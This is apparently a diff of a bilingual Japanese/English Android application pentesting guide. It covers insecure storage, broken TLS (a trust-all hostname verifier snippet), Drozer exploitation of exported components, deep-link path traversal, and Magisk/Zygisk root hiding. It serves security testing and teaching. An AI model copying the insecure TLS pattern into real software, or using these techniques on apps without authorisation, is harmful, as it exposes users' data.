- アプリが作成するファイルに設定されている権限を確認してください。特に、ファイルが全世界で読み取り可能または書き込み可能に設定されていないかをチェックしてください。これがあると、デバイスにインストールされた任意のアプリケーションが当該ファイルを読み取ったり変更したりできる重大なリスクになります。 - アプリが作成するファイルの**パーミッション**を確認してください。特に、ファイルが world-readable や world-writable に設定されていないかをチェックします。これが有効だと、デバイスにインストールされた**任意のアプリ**がこれらのファイルを読み書きできてしまうため重大なセキュリティリスクを生じます。
**External Storage** **外部ストレージ**
SD カードなどの external storage 上のファイルを扱う場合は、以下の点に注意してください: SD カードのような **external storage** 上のファイルを扱う際には、以下の点に注意してください:
1. **Accessibility**: 1. **Accessibility**:
- external storage 上のファイルはグローバルに読み書き可能です。つまり任意のアプリケーションやユーザがアクセスできます。 - 外部ストレージ上のファイルは**グローバルに読み書き可能**です。つまり、任意のアプリやユーザーがアクセスできます。
2. **Security Concerns**: 2. **Security Concerns**:
- アクセスが容易であるため、機密情報を external storage に保存しないことが推奨されます。 - このような容易なアクセス性のため、機密情報を外部ストレージに保存しないことが推奨されます。
- external storage は取り外し可能であり、任意のアプリケーションからアクセスされ得るため安全性は低くなります。 - 外部ストレージは取り外し可能であり、任意のアプリからアクセスされ得るため、セキュリティ的に不利です。
3. **Handling Data from External Storage**: 3. **Handling Data from External Storage**:
- external storage から取得したデータに対しては常に入力バリデーションを行ってください。これはデータが信頼できないソースから来るため重要です。 - 外部ストレージから取得したデータは常に**入力検証**を行ってください。外部ストレージのデータは信頼できないソースと見なすべきです。
- external storage に実行ファイルや class ファイルを置いて動的にロードすることは強く推奨されません - 外部ストレージに実行可能ファイルや class ファイルを置いて動的にロードすることは強く非推奨です
- もしアプリが external storage から実行可能ファイルを取得しなければならない場合、それらのファイルが署名されており暗号的に検証されていることを確認してから動的にロードしてください。これはアプリのセキュリティ整合性を保つために重要です。 - どうしても外部ストレージから実行可能ファイルを取得する必要がある場合、それらのファイルが**署名され、暗号的に検証済み**であることを確認してから動的にロードしてください。これはアプリケーションのセキュリティ整合性を維持する上で重要です。
External storage は `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` でアクセスできます 外部ストレージには `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` からアクセスできます。
> [!TIP] > [!TIP]
> Android 4.4 (**API 17**) 以降、SD カードにはアプリごとに特定のディレクトリのみへアクセスを制限するディレクトリ構造が導入されています。これにより、悪意あるアプリが別のアプリのファイルへ読み書きアクセスすることを防ぎます。 > Android 4.4**API 17**以降、SD カードはディレクトリ構造を持ち、アプリからはそのアプリ専用のディレクトリへのアクセスのみが制限されるようになりました。これにより、悪意あるアプリが別のアプリのファイルに対して読み書きアクセスを得ることを防ぎます。
**Sensitive data stored in clear-text** **平文で保存された機密データ**
- **Shared preferences**: Android は各アプリが `/data/data/<packagename>/shared_prefs/` XML ファイルを簡単に保存できる仕組みを提供しており、しばしばそのフォルダ内に平文で機密情報が見つかることがあります。 - **Shared preferences**: Android は各アプリが `/data/data/<packagename>/shared_prefs/`簡単に xml ファイルを保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。
- **Databases**: Android は各アプリが `/data/data/<packagename>/databases/` に sqlite データベースを簡単に保存できる仕組みを提供しており、しばしばそのフォルダ内に平文で機密情報が見つかることがあります。 - **Databases**: Android は各アプリが `/data/data/<packagename>/databases/` に sqlite データベースを保存できるようにしており、そのフォルダ内に平文で機密情報が見つかることがあります。
### Broken TLS ### Broken TLS
**Accept All Certificates** **Accept All Certificates**
なぜか開発者が全ての証明書を受け入れてしまうことがあり、例えばホスト名が一致しない場合でも以下のようなコード行で検証を無効にしていることがあります。 なぜか開発者が全ての証明書を受け入れてしまうことがあります。例えばホスト名が一致しない場合でも、次のようなコード行で全てを受け入れてしまうことがあります:
```java ```java
SSLSocketFactory sf = new cc(trustStore); SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
``` ```
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
### 暗号の脆弱性 ### Broken Cryptography
**鍵管理プロセスが不十分** **Poor Key Management Processes**
一部の開発者は機密データをローカルストレージに保存し、コード内にハードコードまたは予測可能なキーで暗号化しています。これは避けるべきで、reversing により攻撃者が機密情報を抽出できる可能性があります。 一部の開発者はセンシティブなデータをローカルストレージに保存し、コード内にハードコーディング予測可能なキーで暗号化しています。reversing によって攻撃者が機密情報を抽出できる可能性があるため、これは避けるべきです。
**安全でない、または非推奨のアルゴリズムの使用** **Use of Insecure and/or Deprecated Algorithms**
開発者は認可の**checks**、データの**store**や**send**に**deprecated algorithms**を使用すべきではありません。これらのアルゴリズムの例: RC4, MD4, MD5, SHA1... 例えばパスワードを保存するために**hashes**を使用する場合は、ソルトを付けたブルートフォースに**resistant**なハッシュを使用するべきです。 開発者は認証チェック、データの保存や送信に **deprecated algorithms** を使うべきではありません。例としては RC4、MD4、MD5、SHA1 などがあります。例えばパスワード保存に **hashes** を使う場合は、salt を用いた brute-force 抵抗性のあるハッシュを使うべきです。
### その他のチェック ### Other checks
- APKを難読化して、攻撃者によるリバースエンジニアリングの作業を困難にすることが推奨されます。 - It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers.
- アプリが機密性の高いものであれば銀行系アプリなど、独自にモバイルがrootedかどうかをチェックし、それに応じて対応するべきです。 - If the app is sensitive (like bank apps), it should perform it's **own checks to see if the mobile is rooted** and act in consequence.
- アプリが機密性の高いものであれば(銀行系アプリなど)、**emulator**が使用されているかをチェックすべきです。 - If the app is sensitive (like bank apps), it should check if an **emulator** is being used.
- アプリが機密性の高いものであれば(銀行系アプリなど)、実行前に自身の整合性をチェックして改変されていないか確認すべきです。 - If the app is sensitive (like bank apps), it should **check it's own integrity before executing** it to check if it was modified.
- [**APKiD**](https://github.com/rednaga/APKiD) を使用して、APK をビルドする際にどの compiler/packer/obfuscator が使われたかを確認してください - Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK
### React Native アプリケーション ### React Native Application
React アプリケーションの javascript コードに簡単にアクセスする方法を知るには、次のページを参照してください: Read the following page to learn how to easily access javascript code of React applications:
{{#ref}} {{#ref}}
react-native-application.md react-native-application.md
{{#endref}} {{#endref}}
### Xamarin アプリケーション ### Xamarin Applications
Xamarin アプリケーションの C# コードに簡単にアクセスする方法を知るには、次のページを参照してください: Read the following page to learn how to easily access C# code of a xamarin applications:
{{#ref}} {{#ref}}
../xamarin-apps.md ../xamarin-apps.md
{{#endref}} {{#endref}}
### Superpacked アプリケーション ### Superpacked Applications
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.**
### 自動静的コード解析 ### Automated Static Code Analysis
ツール [**mariana-trench**](https://github.com/facebook/mariana-trench) は、アプリケーションの**code**を**scanning**することで**vulnerabilities**を検出できます。このツールは一連の**known sources**(ツールに対して**input がユーザによって制御される場所**を示す)、**sinks**(悪意あるユーザ入力が被害を引き起こす可能性のある**dangerous な場所**を示す)および**rules**を含みます。これらのルールは、脆弱性を示す**sources-sinks の組み合わせ**を定義します。 The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability.
この知識により、**mariana-trench はコードをレビューして潜在的な脆弱性を見つけます**。 With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**.
### Secrets leaked ### Secrets leaked
アプリケーションには機密情報API keys、passwords、hidden urls、subdomains...)が含まれている可能性があり、これらを発見できる場合があります。次のようなツールを使用できます: [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could use a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication ### Bypass Biometric Authentication
@ -215,14 +215,14 @@ According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpa
bypass-biometric-authentication-android.md bypass-biometric-authentication-android.md
{{#endref}} {{#endref}}
### その他の興味深い機能 ### Other interesting functions
- **コード実行**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **SMS送信**: `sendTextMessage, sendMultipartTestMessage` - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
- **ネイティブ関数**宣言(`native`: `public native, System.loadLibrary, System.load` - **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
- [これを読んで、**ネイティブ関数をリバースする方法**を学んでください](reversing-native-libraries.md) - [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
### **その他のトリック** ### **Other tricks**
{{#ref}} {{#ref}}
@ -233,162 +233,165 @@ content-protocol.md
--- ---
## 動的解析 ## Dynamic Analysis
> まず、アプリケーションと必要な環境(主に Burp CA cert、Drozer、Fridaをインストールできる環境が必要です。したがって、rooted デバイス(エミュレートされているかどうかに関わらず)が強く推奨されます。 > First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
### オンライン動的解析 ### Online Dynamic analysis
次のサイトで**無料アカウント**を作成できます: [https://appetize.io/](https://appetize.io/)。このプラットフォームでは APK を**upload**して**execute**できるため、APK がどのように動作するかを確認するのに便利です。 You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
ウェブ上でアプリケーションのログを閲覧したり、**adb**で接続したりできます。 You can even **see the logs of your application** in the web and connect through **adb**.
![](<../../images/image (831).png>) ![](<../../images/image (831).png>)
ADB 接続によりエミュレータ内で **Drozer****Frida** を使用できます。 Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
### ローカル動的解析 ### Local Dynamic Analysis
#### エミュレータを使用する場合 #### Using an emulator
- [**Android Studio**](https://developer.android.com/studio)**x86** および **arm** デバイスを作成できます。さらに [**this**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) によると **最新の x86** バージョンは遅い arm エミュレータを必要とせずに **ARM ライブラリをサポート**します)。 - [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
- セットアップ方法は次のページを参照してください: - Learn to set it up in this page:
{{#ref}} {{#ref}}
avd-android-virtual-device.md avd-android-virtual-device.md
{{#endref}} {{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(無料版:** Personal Edition、アカウント作成が必要です。_潜在的なエラーを避けるために**VirtualBox**付きのバージョンを**ダウンロード**することを推奨します._ - [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
- [**Nox**](https://es.bignox.com)無料ですが、Frida や Drozer はサポートしていません)。 - [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
> [!TIP] > [!TIP]
> 新しいエミュレータを作成する際は、画面が大きいほどエミュレータの動作が遅くなることに注意してください。可能であれば小さい画面を選んでください。 > When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
Genymotion に **google services**AppStore など)を**インストール**するには、次の画像の赤いマークのボタンをクリックする必要があります: To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
![](<../../images/image (277).png>) ![](<../../images/image (277).png>)
また、Genymotion の **Android VM の構成**で **Bridge Network mode** を選択できることに注意してください(これは、ツールを実行する別の VM から Android VM に接続する場合に便利です)。 Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
#### 実機を使用する場合 #### Use a physical device
デバッグオプションを有効にする必要があり、可能であれば root 化することを推奨します: You need to activate the **debugging** options and it will be cool if you can **root** it:
1. **設定**. 1. **Settings**.
2. (Android 8.0以降) **システム** を選択. 2. (FromAndroid 8.0) Select **System**.
3. **端末情報** を選択. 3. Select **About phone**.
4. **ビルド番号** を7回押す. 4. Press **Build number** 7 times.
5. 戻ると **開発者向けオプション** が表示されます. 5. Go back and you will find the **Developer options**.
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
Magisk/Zygisk quick notes (recommended on Pixel devices)
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
- Keep original boot.img to recover from OTA updates; re-patch after each OTA
- For screen mirroring, use scrcpy on the host
> アプリをインストールしたら、まず最初にそれを試して、何をするのか、どのように動作するのかを調査し、使い方に慣れてください。\
> 初期の動的解析は **MobSF dynamic analysis + pidcat** を使用して行うことをお勧めします。そうすることで、MobSF が後で確認できる多くの**興味深いデータ**をキャプチャしながら、アプリの動作を学ぶことができます。
Magisk/Zygisk クイックートPixel デバイスで推奨)
- Magisk アプリで boot.img をパッチし、fastboot 経由でフラッシュして systemless root を取得する
- root 隠蔽のために Zygisk + DenyList を有効にする;より強力な隠蔽が必要な場合は LSPosed/Shamiko を検討する
- OTA アップデートから復旧できるように元の boot.img を保管しておく;各 OTA 後に再パッチする
- 画面ミラーリングにはホスト上で scrcpy を使用する
### Unintended Data Leakage ### Unintended Data Leakage
**ログ出力** **Logging**
開発者は**debugging information**を公開すると機密データの leak を招く可能性があるため注意すべきです。アプリケーションログを監視して機密情報を特定・保護するには、[**pidcat**](https://github.com/JakeWharton/pidcat) と `adb logcat` を推奨します。**Pidcat** は使いやすさと可読性から好まれます。 Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability.
> [!WARNING] > [!WARNING]
> **Android 4.0 以降**では、**アプリケーションは自身のログにのみアクセス可能**です。したがって、アプリは他のアプリのログにアクセスできません。\ > Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
> それでも、機密情報をログに記録しないことを推奨します。 > Anyway, it's still recommended to **not log sensitive information**.
**コピー/ペースト バッファのキャッシュ** **Copy/Paste Buffer Caching**
Android**clipboard-based** フレームワークはアプリのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードに**アクセス**できるため、機密データが露出するリスクがあります。クレジットカード情報など機密性の高い箇所では、コピー/ペースト機能を無効にして data leak を防ぐことが重要です。 Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks.
**クラッシュログ** **Crash Logs**
アプリケーションが**クラッシュ**して**ログを保存**する場合、これらのログは特にアプリをリバースエンジニアリングできない状況で攻撃者の助けとなる可能性があります。このリスクを軽減するため、クラッシュ時のログ記録は避け、もしログをネットワーク経由で送信する必要がある場合は SSL チャネルで送信するようにしてください。 If an application **crashes** and **saves logs**, these logs can assist attackers, particularly when the application cannot be reverse-engineered. To mitigate this risk, avoid logging on crashes, and if logs must be transmitted over the network, ensure they are sent via an SSL channel for security.
pentester として、**これらのログを確認する**ことを試みてください。 As pentester, **try to take a look to these logs**.
**サードパーティへ送信される分析データ** **Analytics Data Sent To 3rd Parties**
アプリはしばしば Google Adsense のようなサービスを統合していますが、開発者の実装ミスにより機密データを意図せずに leak してしまうことがあります。潜在的な data leak を特定するには、アプリのトラフィックを intercept して、サードパーティへ送信されている機密情報がないか確認することをお勧めします。 Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services.
### SQLite DBs ### SQLite DBs
多くのアプリは情報を保存するために **内部の SQLite データベース** を使用します。pentest 中は作成された **databases**、**tables** や **columns** の名前、保存されているすべての **data** を確認してください。機密情報が見つかる可能性があり(それは脆弱性になります)。データベースは通常 `/data/data/the.package.name/databases` にあり、例: `/data/data/com.mwr.example.sieve/databases` Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\
Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases`
データベースが機密情報を保存しており**暗号化されている**場合でも、その**password**をアプリ内で**見つけられる**なら、それは依然として**脆弱性**です。 If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**.
テーブルは `.tables` で列挙し、テーブルのカラムは `.schema <table_name>` で確認してください。 Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema <table_name>`
### Drozer (Exploit Activities, Content Providers and Services) ### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Androids Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Androids Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. Drozer is a useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
### エクスポートされた Activity の悪用 ### Exploiting exported Activities
[**Android Activity とは何かを再確認したい場合はこれを読んでください。**](android-applications-basics.md#launcher-activity-and-other-activities)\ [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
また、Activity のコードは **`onCreate`** メソッドから始まることを覚えておいてください。 Also remember that the code of an activity starts in the **`onCreate`** method.
**Authorisation bypass** **Authorisation bypass**
Activity が exported されている場合、外部アプリからその画面を呼び出せます。したがって、**sensitive information** を含む Activity が **exported** されていると、認証メカニズムを **bypass** してアクセスされる可能性があります。 When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
[**Drozer でエクスポートされた activities を悪用する方法を学ぶ。**](drozer-tutorial/index.html#activities) [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
また、adb から exported activity を起動することもできます: You can also start an exported activity from adb:
- PackageName com.example.demo - PackageName is com.example.demo
- Exported ActivityName com.example.test.MainActivity - Exported ActivityName is com.example.test.MainActivity
```bash ```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity adb shell am start -n com.example.demo/com.example.test.MainActivity
``` ```
**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). **NOTE**: MobSF はアクティビティの `android:launchMode`_**singleTask/singleInstance**_ を使用していると悪意のあるものとして検出しますが、[this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) によると、どうやらこれは古いバージョンAPI versions < 21でのみ危険なようです
> [!TIP] > [!TIP]
> 認可バイパスが必ずしも脆弱性であるとは限らないことに注意してください。脆弱性かどうかバイパスの仕組みやどの情報が露出するかによります。 > authorisation bypass が必ずしも脆弱性とは限らないことに注意してください。どのよに bypass が動作するか、どの情報が露出するかによります。
**機密情報漏洩** **機密情報漏洩**
**Activitiesは結果を返すこともあります**。exportedかつ保護されていないアクティビティが**`setResult`**メソッドを呼び出して**機密情報を返している**場合、機密情報の漏洩があります。 アクティビティは結果を返すこともあります。エクスポートされ保護されていないアクティビティが `setResult` メソッドを呼び出し、機密情報を返しているのを見つけた場合、機密情報の漏洩が発生しています。
#### Tapjacking #### Tapjacking
Tapjackingが防止されていない場合、exportedなアクティビティを悪用して**ユーザーに予期しない操作を行わせる**ことができます。詳細は[**what is Tapjacking follow the link**](#tapjacking)を参照してください。 Tapjacking が防止されていない場合、エクスポートされたアクティビティを悪用してユーザーに予期しない操作をさせることができます。For more info about [**what is Tapjacking follow the link**](#tapjacking).
### Exploiting Content Providers - Accessing and manipulating sensitive information ### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ [**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providersは基本的に**データを共有する**ために使われます。アプリに利用可能なcontent providersがある場合、そこから**機密データを抽出**できる可能性があります。また、脆弱である可能性があるため、**SQL injections**や**Path Traversals**のテストを行うことも重要です。 Content providers は基本的に **share data** に使用されます。アプリに利用可能な content providers がある場合、それらから **extract sensitive** データを取り出せる可能性があります。また、脆弱である可能性があるため、**SQL injections** **Path Traversals** のテストを行うことも重要です。
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services** ### **Exploiting Services**
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ [**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
Serviceの動作は`onStartCommand`メソッドから始まることを覚えておいてください。 Service の処理は `onStartCommand` メソッドで始まることを忘れないでください。
Serviceは基本的にデータを**受け取り**、それを**処理**し、(場合によっては)レスポンスを**返す**ものです。したがって、アプリがいくつかのServiceをexportしている場合は、何をしているかを理解するために**コードを確認**し、機密情報の抽出や認可回避などを目的として**動的にテスト**するべきです。\ Service は基本的にデータを受け取り、それを処理し、応答を(返すこともあれば返さないこともある)ものです。したがって、アプリがいくつかのサービスをエクスポートしている場合は、何をしているのかを理解するためにコードを確認し、機密情報の抽出や認証回避などを動的にテストするべきです。\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) [**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers** ### **Exploiting Broadcast Receivers**
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ [**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Broadcast Receiverの動作は`onReceive`メソッドから始まることを覚えておいてください。 Broadcast Receiver の処理は `onReceive` メソッドで始まることを忘れないでください。
Broadcast receiverは特定の種類のメッセージを待ち受けます。受信側がそのメッセージをどのように処理するかによって、脆弱になる可能性があります。\ ブロードキャストレシーバは特定のタイプのメッセージを待ち受けます。受信したメッセージの処理方法によっては脆弱になる可能性があります。\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) [**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links** ### **Exploiting Schemes / Deep links**
deep linksは手動で探すこともでき、MobSFのようなツールや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)のようなものを使えます。\ deep links を手動で探すには、MobSF のようなツールや [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) のようなスクリプトを使用できます。\
宣言された**scheme**は、**adb**や**browser**を使って**開く**ことができます: 宣言された **scheme****adb****browser** を使って **open** できます:
```bash ```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
``` ```
_注意: **パッケージ名を省略**すると、モバイルはそのリンクを開くべきアプリを自動的に呼び出します._ _パッケージ名を**省略できます**と、モバイル端末はそのリンクを開くべきアプリを自動的に起動します._
```html ```html
<!-- Browser regular link --> <!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a> <a href="scheme://hostname/path?param=value">Click me</a>
@ -397,53 +400,53 @@ _注意: **パッケージ名を省略**すると、モバイルはそのリン
``` ```
**実行されるコード** **実行されるコード**
アプリで**実行されるコード**を見つけるには、deeplink によって呼れる activity に移動し、関数 **`onNewIntent`** を検索してください。 アプリで**実行されるコード**を見つけるには、deeplink によって呼び出される activity に移動し、関数 **`onNewIntent`** を検索してください。
![](<../../images/image (436) (1) (1) (1).png>) ![](<../../images/image (436) (1) (1) (1).png>)
**機密情報** **機密情報**
deep link を見つけたら、必ず **URL パラメータ経由で機密情報(例えば passwordsが渡されていないか** を確認してください。なぜなら他のアプリがその deep link を **なりすましてデータを盗む** 可能性があるからです! deep link を見つけるたびに、**URL パラメータ経由で機密データ(パスワードなど)を受け取っていないか**を確認してください。なぜなら、他のアプリケーションが**deep link をなりすましてそのデータを盗む**可能性があるからです!
**パス内の Parameters** **Parameters in path**
URL のパス内でパラメータを使っている deep link がないかも **必ず確認** してください。例えば `https://api.example.com/v1/users/{username}` のような場合、次のように path traversal を強制できることがあります:`example://app/users?username=../../unwanted-endpoint%3fparam=value` 。\ URL のパス内でパラメータを使用している deep link がないか、**必ず確認してください**。例えば: `https://api.example.com/v1/users/{username}` のような場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにアクセスすることで path traversal を強制できることがあります。\
アプリ内で正しいエンドポイントを見つけられれば、パスの一部がドメイン名として使われていた場合の **Open Redirect**、CSRF token なしでユーザ詳細を変更できる場合の **account takeover**、その他の脆弱性を引き起こせる可能性があります。詳細は [info about this here](http://dphoeniixx.com/2020/12/13-2/) を参照してください。 Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
**More examples** **More examples**
興味深いバグバウンティレポートの例:[https://hackerone.com/reports/855618](https://hackerone.com/reports/855618)リンクに関する報告、_/.well-known/assetlinks.json_ [interesting bug bounty report](https://hackerone.com/reports/855618) はリンク_/.well-known/assetlinks.json_に関する報告です
### トランスポート層の検査と検証の失敗 ### Transport Layer Inspection and Verification Failures
- **Certificates are not always inspected properly** by Android applications. 多くのアプリは警告を見落とし、self-signed certificates を受け入れたり、場合によっては HTTP 接続に戻してしまうことがあります。 - **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, insecure な cipher suites を用いていることがあります。この脆弱性により接続が man-in-the-middle (MITM) 攻撃に対して脆弱になり、攻撃者がデータを復号できる可能性があります。 - **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data.
- Leakage of private information は、アプリが認証だけ secure なチャネルを使い、他の取引を非secure なチャネルで行う場合にリスクとなります。このやり方はセッション cookie やユーザ詳細などの機密データを悪意ある第三者による傍受から守れません。 - **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. This approach fails to protect sensitive data, such as session cookies or user details, from interception by malicious entities.
#### 証明書の検証 #### Certificate Verification
ここでは **certificate verification** に焦点を当てます。サーバの証明書の整合性を検証することはセキュリティ強化に不可欠です。insecure な TLS 設定や暗号化されていないチャネルで機密データを送信することは重大なリスクを招くためです。サーバ証明書の検証手順や脆弱性対応の詳細については、[**this resource**](https://manifestsecurity.com/android-application-security-part-10/) を参照してください。 ここでは **certificate verification** に焦点を当てます。サーバの証明書の整合性を検証することはセキュリティ強化のために重要です。不適切な TLS 設定や暗号化されていないチャネルでの機密データ送信は重大なリスクをもたらす可能性があります。サーバー証明書の検証方法や脆弱性への対処手順の詳細については、[**this resource**](https://manifestsecurity.com/android-application-security-part-10/) を参照してください。
#### SSL Pinning #### SSL Pinning
SSL Pinning は、アプリがサーバの証明書をアプリ内に保存された既知のコピーと照合するセキュリティ対策です。この手法は MITM 攻撃を防ぐ上で重要です。機密情報を扱うアプリでは SSL Pinning の実装を強く推奨します。 SSL Pinning は、アプリケーションがサーバの証明書をアプリ内に保存された既知のコピーと照合して検証するセキュリティ対策です。この手法は MITM 攻撃を防ぐために不可欠です。機密情報を扱うアプリケーションでは SSL Pinning の実装を強く推奨します。
#### トラフィック検査 #### Traffic Inspection
